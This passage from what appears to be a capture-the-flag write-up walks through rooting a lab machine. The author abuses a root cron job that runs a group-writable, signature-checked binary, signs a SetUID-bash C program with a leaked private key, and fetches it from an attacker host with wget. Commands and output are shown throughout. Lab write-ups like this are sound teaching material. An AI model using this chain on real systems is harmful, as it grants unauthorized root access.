eric@era:/$ cat /etc/passwd | grep 'sh$'
root:x:0:0:root:/root:/bin/bash
eric:x:1000:1000:eric:/home/eric:/bin/bash
yuri:x:1001:1002::/home/yuri:/bin/sh
eric is in the devs group:
eric@era:~$ id
uid=1000(eric) gid=1000(eric) groups=1000(eric),1001(devs)
Filesystem
In /opt, there’s a ELF binary named monitor:
eric@era:/opt/AV/periodic-checks$ ls
monitor status.log
eric@era:/opt/AV/periodic-checks$ file monitor
monitor: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=45a4bb1db5df48dcc085cc062103da3761dd8eaf, for GNU/Linux 3.2.0, not stripped
Interestingly, the modified times on both files seems to update every minute, implying a cron:
eric@era:/opt/AV/periodic-checks$ ls -l
total 24
-rwxrw---- 1 root devs 16544 Jul 28 18:41 monitor
-rw-rw---- 1 root devs 307 Jul 28 18:41 status.log
The devs group can write both these files and this directory:
eric@era:/opt/AV/periodic-checks$ ls -la
total 32
drwxrwxr-- 2 root devs 4096 Jul 28 18:42 .
drwxrwxr-- 3 root devs 4096 Jul 22 08:42 ..
-rwxrw---- 1 root devs 16544 Jul 28 18:42 monitor
-rw-rw---- 1 root devs 103 Jul 28 18:42 status.log
Processes
I’ll upload pspy to Era and watch for processes:
eric@era:/dev/shm$ wget 10.10.14.6/pspy64
--2025-07-28 18:44:27-- http://10.10.14.6/pspy64
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.96M 4.32MB/s in 0.7s
2025-07-28 18:44:28 (4.32 MB/s) - ‘pspy64’ saved [3104768/3104768]
eric@era:/dev/shm$ chmod +x pspy64
eric@era:/dev/shm$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
...[snip]...
Every minute, there’s a cron:
2025/07/28 21:31:01 CMD: UID=0 PID=71190 | /usr/sbin/CRON -f -P
2025/07/28 21:31:01 CMD: UID=0 PID=71191 | /usr/sbin/CRON -f -P
2025/07/28 21:31:01 CMD: UID=0 PID=71192 | bash -c /root/initiate_monitoring.sh
2025/07/28 21:31:01 CMD: UID=0 PID=71193 | objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
2025/07/28 21:31:01 CMD: UID=0 PID=71194 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 21:31:01 CMD: UID=0 PID=71195 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 21:31:01 CMD: UID=0 PID=71198 | grep -oP (?<=UTF8STRING :)Era Inc.
2025/07/28 21:31:01 CMD: UID=0 PID=71196 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 21:31:01 CMD: UID=0 PID=71201 |
2025/07/28 21:31:01 CMD: UID=0 PID=71200 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 21:31:01 CMD: UID=0 PID=71199 | /bin/bash /root/initiate_monitoring.sh
2025/07/28 21:31:01 CMD: UID=0 PID=71202 | /bin/bash /root/initiate_monitoring.sh
It’s running initiate_monitoring.sh that I can’t see, which seems to call objcopy on monitor, and then run a grep before then calling monitor.
monitor Signature
objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor is generating a copy of the .text_sig section of the ELF binary.
That section is not a standard section, but it does exist:
eric@era:/opt/AV/periodic-checks$ readelf -S monitor | grep text_sig
[28] .text_sig PROGBITS 0000000000000000 00003040
I can run the command from the cron and look at the output:
eric@era:/opt/AV/periodic-checks$ objcopy --dump-section .text_sig=text_sig_section.bin /opt/AV/periodic-checks/monitor
eric@era:/opt/AV/periodic-checks$ xxd text_sig_section.bin
00000000: 3082 01c6 0609 2a86 4886 f70d 0107 02a0 0.....*.H.......
00000010: 8201 b730 8201 b302 0101 310d 300b 0609 ...0......1.0...
00000020: 6086 4801 6503 0402 0130 0b06 092a 8648 `.H.e....0...*.H
00000030: 86f7 0d01 0701 3182 0190 3082 018c 0201 ......1...0.....
00000040: 0130 6730 4f31 1130 0f06 0355 040a 0c08 .0g0O1.0...U....
00000050: 4572 6120 496e 632e 3119 3017 0603 5504 Era Inc.1.0...U.
00000060: 030c 1045 4c46 2076 6572 6966 6963 6174 ...ELF verificat
00000070: 696f 6e31 1f30 1d06 092a 8648 86f7 0d01 ion1.0...*.H....
00000080: 0901 1610 7975 7269 7669 6368 4065 7261 ....yurivich@era
00000090: 2e63 6f6d 0214 6d63 4aa9 81e1 93a1 e448 .com..mcJ......H
000000a0: c520 5ff7 9b84 e6b6 f50b 300b 0609 6086 . _.......0...`.
000000b0: 4801 6503 0402 0130 0d06 092a 8648 86f7 H.e....0...*.H..
000000c0: 0d01 0101 0500 0482 0100 6a8d 5090 e77a ..........j.P..z
000000d0: a224 31d3 e629 241a c7ee c906 dce8 7592 .$1..)$.......u.
000000e0: c907 33b8 5ea5 c466 db04 a35a 2864 8853 ..3.^..f...Z(d.S
000000f0: 00f2 775c fbe9 83ae 833d 2c36 7030 985a ..w\.....=,6p0.Z
00000100: b5d9 ae28 cfbf 75db 8e40 2955 c9be f8d3 ...(..u..@)U....
00000110: 058e 6ee1 1eb4 35bb 30a3 056d b850 74bc ..n...5.0..m.Pt.
00000120: 4e15 fc44 0a57 e3f6 2f4b 5ecd 0e6b 222d N..D.W../K^..k"-
00000130: c403 9189 2c7d ed05 fe45 a3e9 c00f 0610 ....,}...E......
00000140: f8a6 53ab f725 71aa cbf2 ff38 2386 58d0 ..S..%q....8#.X.
00000150: 8dcf ba33 1c6d 2092 8c01 c77d 4e49 ea94 ...3.m ....}NI..
00000160: 670c 9de9 4277 9e09 6714 3d81 4920 9fc1 g...Bw..g.=.I ..
00000170: 2400 5880 04c7 cebf d398 ec6d 55b5 0333 $.X........mU..3
00000180: db46 f2ab 74e6 aa24 e9dc 76d2 c9c4 183b .F..t..$..v....;
00000190: 991b c0f4 762b 1c09 1d82 317c aab3 1e88 ....v+....1|....
000001a0: dfc0 4871 2bb9 ac8a 0dbb 6cd7 cd6b dcaa ..Hq+.....l..k..
000001b0: c96c 2afe faa1 7944 ebdd 7a6e 6f2e 91da .l*...yD..zno...
000001c0: 5e41 e0e6 5dde ec93 47ee ^A..]...G.
This is a PKCS#7/CMS digital signature. Claude can identify this for me:
Exploit
Signature Fail
The binary is being run as root every minute, and it’s writable by eric. I’ll try replacing it with a simple Bash script that will create a SetUID/SetGID bash instance:
eric@era:/opt/AV/periodic-checks$ rm monitor ; echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchmod 6777 /tmp/0xdf' > monitor; chmod +x monitor
Unfortunately, once the cron runs again, the log shows it failed:
eric@era:/opt/AV/periodic-checks$ cat status.log
[*] System scan initiated...
[*] No threats detected. Shutting down...
[SUCCESS] No threats detected.
objcopy: /opt/AV/periodic-checks/monitor: file format not recognized
[ERROR] Executable not signed. Tampering attempt detected. Skipping.
linux-elf-binary-signer
Searching for “.text_sig section elf”, the first result is a GitHub repo named linux-elf-binary-signer:
The ELF binary format doesn’t have a built in signature, but this project adds this custom section to a compiled binary:
There’s a section on generating keys as well, using a .genkey file:
signing.zip
Earlier I collected signing.zip from the IDOR file download, which has two files. x509.genkey is a text file that matches the example from the linux-elf-binary-signer instructions:
[ req ]
default_bits = 2048
distinguished_name = req_distinguished_name
prompt = no
string_mask = utf8only
x509_extensions = myexts
[ req_distinguished_name ]
O = Era Inc.
CN = ELF verification
emailAddress = yurivich@era.com
[ myexts ]
basicConstraints=critical,CA:FALSE
keyUsage=digitalSignature
subjectKeyIdentifier=hash
authorityKeyIdentifier=keyid
These match up with a lot of the strings from the hexdump above. key.pem is a private key:
oxdf@hacky$ file key.pem
key.pem: OpenSSH private key (no password)
Create Binary
I’ll create a simple binary that creates a SetUID/SetGID bash:
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
system("cp /bin/bash /tmp/0xdf && chmod 6777 /tmp/0xdf");
}
I’ll compile this with gcc exploit.c -o exploit.
Sign
I find I am not able to build linux-elf-binary-signer on Ubuntu 24.04 because of the library mismatch. I’ll create a docker container:
oxdf@hacky$ docker run -it --rm -v $(pwd):/work ubuntu:20.04 bash
root@e35c45a86cff:/#
I’ll install all the needed stuff:
root@e35c45a86cff:/# apt update
...[snip]...
root@e35c45a86cff:/# apt upgrade
...[snip]...
root@e35c45a86cff:/# apt install make libssl-dev openssl git gcc
...[snip]...
root@e35c45a86cff:/# git clone https://github.com/NUAA-WatchDog/linux-elf-binary-signer.git
...[snip]...
And build it:
root@e35c45a86cff:/linux-elf-binary-signer# make CFLAGS="-static" LDFLAGS="-static"
cc -o elf-sign elf_sign.c -lcrypto
./elf-sign.signed sha256 certs/kernel_key.pem certs/kernel_key.pem elf-sign
--- 64-bit ELF file, version 1 (CURRENT), little endian.
--- 31 sections detected.
--- [Library dependency]: libcrypto.so.1.1
--- [Library dependency]: libc.so.6
--- Section 0016 [.text] detected.
--- Length of section [.text]: 10195
--- Signature size of [.text]: 465
--- Writing signature to file: .text_sig
--- Removing temporary signature file: .text_sig
My original docker command mapped the current directory into /work in the container. From there, I’ll sign:
root@e35c45a86cff:/work# /linux-elf-binary-signer/elf-sign sha256 key.pem key.pem exploit monitor
--- 64-bit ELF file, version 1 (CURRENT), little endian.
--- 31 sections detected.
--- [Library dependency]: libc.so.6
--- Section 0016 [.text] detected.
--- Length of section [.text]: 303
--- Signature size of [.text]: 458
--- Writing signature to file: .text_sig
--- Removing temporary signature file: .text_sig
This signs the exploit binary and outputs it as monitor.
Upload
I’ll host the monitor binary from a Python webserver, and back in my reverse shell, I’ll fetch it and make it executable:
eric@era:/opt/AV/periodic-checks$ wget 10.10.14.6/monitor
--2025-07-29 00:54:32-- http://10.10.14.6/monitor
Connecting to 10.10.14.6:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 16674 (16K) [application/octet-stream]
Saving to: ‘monitor’
monitor 0%[ monitor 100%[=============================================>] 16.28K --.-KB/s in 0.09s
2025-07-29 00:54:32 (177 KB/s) - ‘monitor’ saved [16674/16674]
eric@era:/opt/AV/periodic-checks$ chmod +x monitor
The next time the cron runs, /tmp/0xdf exists, owned by root, and is SetUID/SetGID:
eric@era:/opt/AV/periodic-checks$ ls -l /tmp/0xdf
-rwsrwsrwx 1 root root 1396520 Jul 29 00:59 /tmp/0xdf
I’ll get a shell:
eric@era:/opt/AV/periodic-checks$ /tmp/0xdf -p
0xdf-5.1#
And grab root.txt:
0xdf-5.1# cat root.txt
88bb08a3************************





